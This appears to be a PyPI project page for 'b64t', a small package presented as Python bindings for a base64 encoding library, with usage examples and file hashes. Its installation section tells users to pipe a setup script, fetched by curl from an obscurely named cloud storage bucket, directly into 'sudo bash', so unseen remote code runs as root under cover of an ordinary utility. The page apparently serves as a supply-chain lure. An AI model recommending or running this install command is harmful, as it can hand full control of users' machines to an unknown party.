Skip to main content

Python bindings for b64t (requires system package)

Project description

b64t - Python Bindings (Wrapper Package)

This is a minimal wrapper package for the system-installed b64t library.

Installation

1. Install system package (required)

curl -fsSL https://storage.googleapis.com/winged-keyword-487102-h4-b64t-apt-mirror/setup.sh | sudo bash
sudo apt install b64t

2. Install pip wrapper (for virtual environments)

python3 -m venv myenv
source myenv/bin/activate
pip install b64t

Usage

import b64t

# Encode
encoded = b64t.encode(b'Hello, World!')
print(encoded)

# Decode
decoded = b64t.decode(encoded)
print(decoded)

# Streaming
with open('input.bin', 'rb') as f:
    for chunk in b64t.encodePipe(f):
        print(chunk)

Notes

  • This package requires the system b64t package to be installed via apt
  • The Python extension is installed to /usr/lib/python3/dist-packages/
  • This wrapper package adds the system dist-packages to sys.path in virtual environments
  • If the system package is not installed, import will fail with a clear error message

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

b64t-0.1.3.tar.gz (2.6 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

b64t-0.1.3-py3-none-any.whl (2.6 kB view details)

Uploaded Python 3

File details

Details for the file b64t-0.1.3.tar.gz.

File metadata

  • Download URL: b64t-0.1.3.tar.gz
  • Upload date:
  • Size: 2.6 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.3

File hashes

Hashes for b64t-0.1.3.tar.gz
Algorithm Hash digest
SHA256 9a3faef1c53d413f8c72b1d71db664b2f468e8a015659989f4ad428dd72a6ec2
MD5 5e222f3ef40c70e6cb735e4f6fd0f28d
BLAKE2b-256 57fa96f498f8b57fb631a1b51d5aa93fc99773e3075da3946975b0aa68c170af

See more details on using hashes here.

File details

Details for the file b64t-0.1.3-py3-none-any.whl.

File metadata

  • Download URL: b64t-0.1.3-py3-none-any.whl
  • Upload date:
  • Size: 2.6 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.3

File hashes

Hashes for b64t-0.1.3-py3-none-any.whl
Algorithm Hash digest
SHA256 8f38f0f143713789d10ea3156f1d7b601952941dee5c1be4c9edecb0e6f0b47e
MD5 395603f05ee31be141b16ba3403e815b
BLAKE2b-256 0a8a1e00740aeb825a7b6da5053f40f25363baca45461fbf6fbe4423ff8ce69c

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page